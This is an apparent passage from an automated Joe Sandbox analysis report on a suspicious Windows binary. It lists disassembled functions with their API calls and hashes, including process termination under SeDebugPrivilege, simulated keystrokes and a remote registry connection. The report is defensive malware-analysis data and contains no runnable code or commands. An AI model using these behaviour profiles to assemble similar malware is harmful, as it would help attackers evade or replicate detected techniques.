                                              • Part of subcall function 00374FEC: GetFileAttributesW.KERNEL32(?,00373BFE), ref: 00374FED
                                            • lstrcmpiW.KERNEL32(?,?), ref: 003752FB
                                            • _wcscmp.LIBCMT ref: 00375315
                                            • MoveFileW.KERNEL32(?,?), ref: 00375330
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                            • String ID:
                                            • API String ID: 793581249-0
                                            • Opcode ID: ef0c6920c9beca78b6537c2ab21731cc41f1a8d9a811d93334723365d0279c15
                                            • Instruction ID: 5654fdfa42898ad7e439165dc034692a6d9111da0f8921ea7bb50268ae416706
                                            • Opcode Fuzzy Hash: ef0c6920c9beca78b6537c2ab21731cc41f1a8d9a811d93334723365d0279c15
                                            • Instruction Fuzzy Hash: BE5184B20087949BC776EBA4D8819DFB3ECAF84300F50491EF689D7152EF74A688C756
                                            Function 00398C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                            Download Yara Rule
                                            APIs
                                            • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00398D24
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InvalidateRect
                                            • String ID:
                                            • API String ID: 634782764-0
                                            • Opcode ID: edc1fc433324ce0354c3d3fad8a27695d83356bf16acce15ab0762ab17cc9b71
                                            • Instruction ID: d84bf795c5e6316f0ffb4a34d7bb09c2d1ff3c075f2b5d85f4702949c317ed33
                                            • Opcode Fuzzy Hash: edc1fc433324ce0354c3d3fad8a27695d83356bf16acce15ab0762ab17cc9b71
                                            • Instruction Fuzzy Hash: 1251B130A41204BFEF27AF28CC89B997B68FB87310F254516F915EB5E1CF71A990DA50
                                            Function 00312F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0034C638
                                            • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0034C65A
                                            • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0034C672
                                            • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0034C690
                                            • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0034C6B1
                                            • DestroyIcon.USER32(00000000), ref: 0034C6C0
                                            • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0034C6DD
                                            • DestroyIcon.USER32(?), ref: 0034C6EC
                                              • Part of subcall function 0039AAD4: DeleteObject.GDI32(00000000), ref: 0039AB0D
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                            • String ID:
                                            • API String ID: 2819616528-0
                                            • Opcode ID: 534fe60d0186ff5a8b04846a63ee278d89c87706b43bbd3e8d0f15386ae16162
                                            • Instruction ID: 018a789e4ffbb3513ca9857413f0add8e9308046dc90d254c9feee27398aaba2
                                            • Opcode Fuzzy Hash: 534fe60d0186ff5a8b04846a63ee278d89c87706b43bbd3e8d0f15386ae16162
                                            • Instruction Fuzzy Hash: 33519B70610209AFDB2ADF24DC45FAA77F9FB48710F114519F9429B2A0DB71ECA1DB50
                                            Function 0036A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0036B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 0036B54D
                                              • Part of subcall function 0036B52D: GetCurrentThreadId.KERNEL32 ref: 0036B554
                                              • Part of subcall function 0036B52D: AttachThreadInput.USER32(00000000,?,0036A23B,?,00000001), ref: 0036B55B
                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 0036A246
                                            • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0036A263
                                            • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0036A266
                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 0036A26F
                                            • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0036A28D
                                            • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0036A290
                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 0036A299
                                            • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0036A2B0
                                            • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0036A2B3
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                            • String ID:
                                            • API String ID: 2014098862-0
                                            • Opcode ID: 4c206a677ebd34176d9a12b934b882419ab48cae289881c4e4170a725cb51e63
                                            • Instruction ID: 81f54ea91c6d86de019d9007aa3dbe11b9cbae949b9b74c32643fafcab899c8d
                                            • Opcode Fuzzy Hash: 4c206a677ebd34176d9a12b934b882419ab48cae289881c4e4170a725cb51e63
                                            • Instruction Fuzzy Hash: 3F1104B1950618BEF6116F609C8AFAA7F2DEF4E795F104419F340AB0E0CAF35C509EA4
                                            Function 003694D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0036915A,00000B00,?,?), ref: 003694E2
                                            • HeapAlloc.KERNEL32(00000000,?,0036915A,00000B00,?,?), ref: 003694E9
                                            • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0036915A,00000B00,?,?), ref: 003694FE
                                            • GetCurrentProcess.KERNEL32(?,00000000,?,0036915A,00000B00,?,?), ref: 00369506
                                            • DuplicateHandle.KERNEL32(00000000,?,0036915A,00000B00,?,?), ref: 00369509
                                            • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0036915A,00000B00,?,?), ref: 00369519
                                            • GetCurrentProcess.KERNEL32(0036915A,00000000,?,0036915A,00000B00,?,?), ref: 00369521
                                            • DuplicateHandle.KERNEL32(00000000,?,0036915A,00000B00,?,?), ref: 00369524
                                            • CreateThread.KERNEL32(00000000,00000000,0036954A,00000000,00000000,00000000), ref: 0036953E
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                            • String ID:
                                            • API String ID: 1957940570-0
                                            • Opcode ID: bb936b0694da9b91266bace606d6f81b3bb421fa02d814c794b0f1c0025d2d78
                                            • Instruction ID: ca895a97fafcbd750e893667d47cc05d155310feedd8c1ce7152afa312b938c2
                                            • Opcode Fuzzy Hash: bb936b0694da9b91266bace606d6f81b3bb421fa02d814c794b0f1c0025d2d78
                                            • Instruction Fuzzy Hash: 1301CDB5240304BFE711AFA5DC4DFAB7BACEB8A711F008411FA05DB1A1DA749800CB30
                                            Function 0038A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: NULL Pointer assignment$Not an Object type
                                            • API String ID: 0-572801152
                                            • Opcode ID: 8135043a271502d784f17a8e8a3c8f4e89cc645c92ca4e1a95124a6ad17d2215
                                            • Instruction ID: c168d24d454bc5aa0b8d99405766d61754367a3f7b0927c0ebdd408e3d0e9b72
                                            • Opcode Fuzzy Hash: 8135043a271502d784f17a8e8a3c8f4e89cc645c92ca4e1a95124a6ad17d2215
                                            • Instruction Fuzzy Hash: D3C1C571A007199FEF15EF98C884BAEB7F9FB48310F1584AAE945AB240E7B0DD44CB51
                                            Function 003897FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$ClearInit$_memset
                                            • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                            • API String ID: 2862541840-625585964
                                            • Opcode ID: dac3f69d1746ecbcd5b5934151ca5e6cedd23b340fa678c3612b64dc3fad0f42
                                            • Instruction ID: 35513a5813e1785eb0aae93490c67b752a22c413c920545e17497f9155ec34c3
                                            • Opcode Fuzzy Hash: dac3f69d1746ecbcd5b5934151ca5e6cedd23b340fa678c3612b64dc3fad0f42
                                            • Instruction Fuzzy Hash: 79919E70A00319ABDF26DFA5C884FAEBBB8EF45710F14859EF516AB240D7749944CFA0
                                            Function 00389E47 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00367D28: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?,?,00368073), ref: 00367D45
                                              • Part of subcall function 00367D28: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?), ref: 00367D60
                                              • Part of subcall function 00367D28: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?), ref: 00367D6E
                                              • Part of subcall function 00367D28: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?), ref: 00367D7E
                                            • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00389EF0
                                            • _memset.LIBCMT ref: 00389EFD
                                            • _memset.LIBCMT ref: 0038A040
                                            • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 0038A06C
                                            • CoTaskMemFree.OLE32(?), ref: 0038A077
                                            Strings
                                            • NULL Pointer assignment, xrefs: 0038A0C5
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                            • String ID: NULL Pointer assignment
                                            • API String ID: 1300414916-2785691316
                                            • Opcode ID: 466602b97b39b6887107afdd0748fedb49ab5ff6c6b6c737f26c2d2aa8dc8575
                                            • Instruction ID: 95f9cd2233c6d58259418efcc499440b18797722e2499d6195df69db768fd981
                                            • Opcode Fuzzy Hash: 466602b97b39b6887107afdd0748fedb49ab5ff6c6b6c737f26c2d2aa8dc8575
                                            • Instruction Fuzzy Hash: 13913A71D00229EBDB16EFA4D885EDEBBB9FF18310F10815AF519AB241DB715A44CFA0
                                            Function 003973A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00397449
                                            • SendMessageW.USER32(?,00001036,00000000,?), ref: 0039745D
                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00397477
                                            • _wcscat.LIBCMT ref: 003974D2
                                            • SendMessageW.USER32(?,00001057,00000000,?), ref: 003974E9
                                            • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00397517
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$Window_wcscat
                                            • String ID: SysListView32
                                            • API String ID: 307300125-78025650
                                            • Opcode ID: 750813d40014b1e7ecf150e892e347ca92e1e8924103acb7f3b5a4915f2d67a8
                                            • Instruction ID: 2f979c39aab269edc0e722c2cd3fcf4d8e1ea6d269e0b5f8ab0b2b1c13b8bb2c
                                            • Opcode Fuzzy Hash: 750813d40014b1e7ecf150e892e347ca92e1e8924103acb7f3b5a4915f2d67a8
                                            • Instruction Fuzzy Hash: 46419371A14348AFEF229F64CC85BEE77A8EF08350F11442AF985A72D2D7719D84CB50
                                            Function 0038F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00374148: CreateToolhelp32Snapshot.KERNEL32 ref: 0037416D
                                              • Part of subcall function 00374148: Process32FirstW.KERNEL32(00000000,?), ref: 0037417B
                                              • Part of subcall function 00374148: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00374245
                                            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0038F08D
                                            • GetLastError.KERNEL32 ref: 0038F0A0
                                            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0038F0CF
                                            • TerminateProcess.KERNEL32(00000000,00000000), ref: 0038F14C
                                            • GetLastError.KERNEL32(00000000), ref: 0038F157
                                            • CloseHandle.KERNEL32(00000000), ref: 0038F18C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process$CloseErrorLastOpen$ChangeCreateFindFirstHandleNotificationProcess32SnapshotTerminateToolhelp32
                                            • String ID: SeDebugPrivilege
                                            • API String ID: 1701285019-2896544425
                                            • Opcode ID: b13e10d1f151d65e704f831f2c45aeba01111b8bff24a2b9481fb089fd6e0f19
                                            • Instruction ID: 3f9c014e3a0fc5497ac01afcb018316c55c9d900256ee7d1707110c9a75b2b09
                                            • Opcode Fuzzy Hash: b13e10d1f151d65e704f831f2c45aeba01111b8bff24a2b9481fb089fd6e0f19
                                            • Instruction Fuzzy Hash: 0641BC702003019FDB27EF24DC99FADB7A5AF85714F148069F8469F2D2CB74A844CB96
                                            Function 003747E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00374802
                                            • LoadStringW.USER32(00000000), ref: 00374809
                                            • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0037481F
                                            • LoadStringW.USER32(00000000), ref: 00374826
                                            • _wprintf.LIBCMT ref: 0037484C
                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0037486A
                                            Strings
                                            • %s (%d) : ==> %s: %s %s, xrefs: 00374847
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HandleLoadModuleString$Message_wprintf
                                            • String ID: %s (%d) : ==> %s: %s %s
                                            • API String ID: 3648134473-3128320259
                                            • Opcode ID: db8d7ae76cdee2d033a18a7300a488db6c55fbdf04982d80e6fb8c7b4526a200
                                            • Instruction ID: 5a778b5665db90fa8bd055500550556618822d6d98418881e82746855b79d2de
                                            • Opcode Fuzzy Hash: db8d7ae76cdee2d033a18a7300a488db6c55fbdf04982d80e6fb8c7b4526a200
                                            • Instruction Fuzzy Hash: E90162F694020C7FE7269BA09D89EF7776CE709300F404595B749E2051EB74AE844B75
                                            Function 0039DB04 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • GetSystemMetrics.USER32(0000000F), ref: 0039DB42
                                            • GetSystemMetrics.USER32(0000000F), ref: 0039DB62
                                            • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0039DD9D
                                            • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0039DDBB
                                            • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0039DDDC
                                            • ShowWindow.USER32(00000003,00000000), ref: 0039DDFB
                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 0039DE20
                                            • DefDlgProcW.USER32(?,00000005,?,?), ref: 0039DE43
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                            • String ID:
                                            • API String ID: 1211466189-0
                                            • Opcode ID: 24056367cbfe07f8b2dc77eb05b2bad966151b349e944467613f87bdadb265d5
                                            • Instruction ID: d048e41dabc3dd408baea27a73fda1999ed75af3a7c33014e2edbe53ad97c29e
                                            • Opcode Fuzzy Hash: 24056367cbfe07f8b2dc77eb05b2bad966151b349e944467613f87bdadb265d5
                                            • Instruction Fuzzy Hash: 7CB19931A00215EFDF1ACF69C9C67AE7BB1FF04701F098069ED48AE295D731A950CBA0
                                            Function 00390371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0039147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0039040D,?,?), ref: 00391491
                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0039044E
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharConnectRegistryUpper_memmove
                                            • String ID:
                                            • API String ID: 3479070676-0
                                            • Opcode ID: 8992c998fa8f98f710a3298d8ae3426bf125ceb6b3a5e204db90e8d14f1dc055
                                            • Instruction ID: 9219ff466e5946aa8d5d7527982ed30a232221490d0b9a657f5989053ba9b9b8
                                            • Opcode Fuzzy Hash: 8992c998fa8f98f710a3298d8ae3426bf125ceb6b3a5e204db90e8d14f1dc055
                                            • Instruction Fuzzy Hash: 09A18B702042019FCB1AEF64D881B6EB7F5EF85314F14891DF9969B2A2DB31E985CF42
                                            Function 00312E2B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                            Download Yara Rule
                                            APIs
                                            • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0034C508,00000004,00000000,00000000,00000000), ref: 00312E9F
                                            • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0034C508,00000004,00000000,00000000,00000000,000000FF), ref: 00312EE7
                                            • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0034C508,00000004,00000000,00000000,00000000), ref: 0034C55B
                                            • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0034C508,00000004,00000000,00000000,00000000), ref: 0034C5C7
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ShowWindow
                                            • String ID:
                                            • API String ID: 1268545403-0
                                            • Opcode ID: cfec5af409581446a593b34521f194d8740d975def31949d11acf10df3f49e2d
                                            • Instruction ID: 2b75ebb771969d5ca0f15b1dbe7f69e0b106364e30730ea6ed6eeaa820490fbc
                                            • Opcode Fuzzy Hash: cfec5af409581446a593b34521f194d8740d975def31949d11acf10df3f49e2d
                                            • Instruction Fuzzy Hash: DD41E9306156809ACB7F8B29DC887EB7BDAAB8A300F59444DF4474A960D771B9E0D730
                                            Function 003967F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteObject.GDI32(00000000), ref: 00396810
                                            • GetDC.USER32(00000000), ref: 00396818
                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00396823
                                            • ReleaseDC.USER32(00000000,00000000), ref: 0039682F
                                            • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 0039686B
                                            • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 0039687C
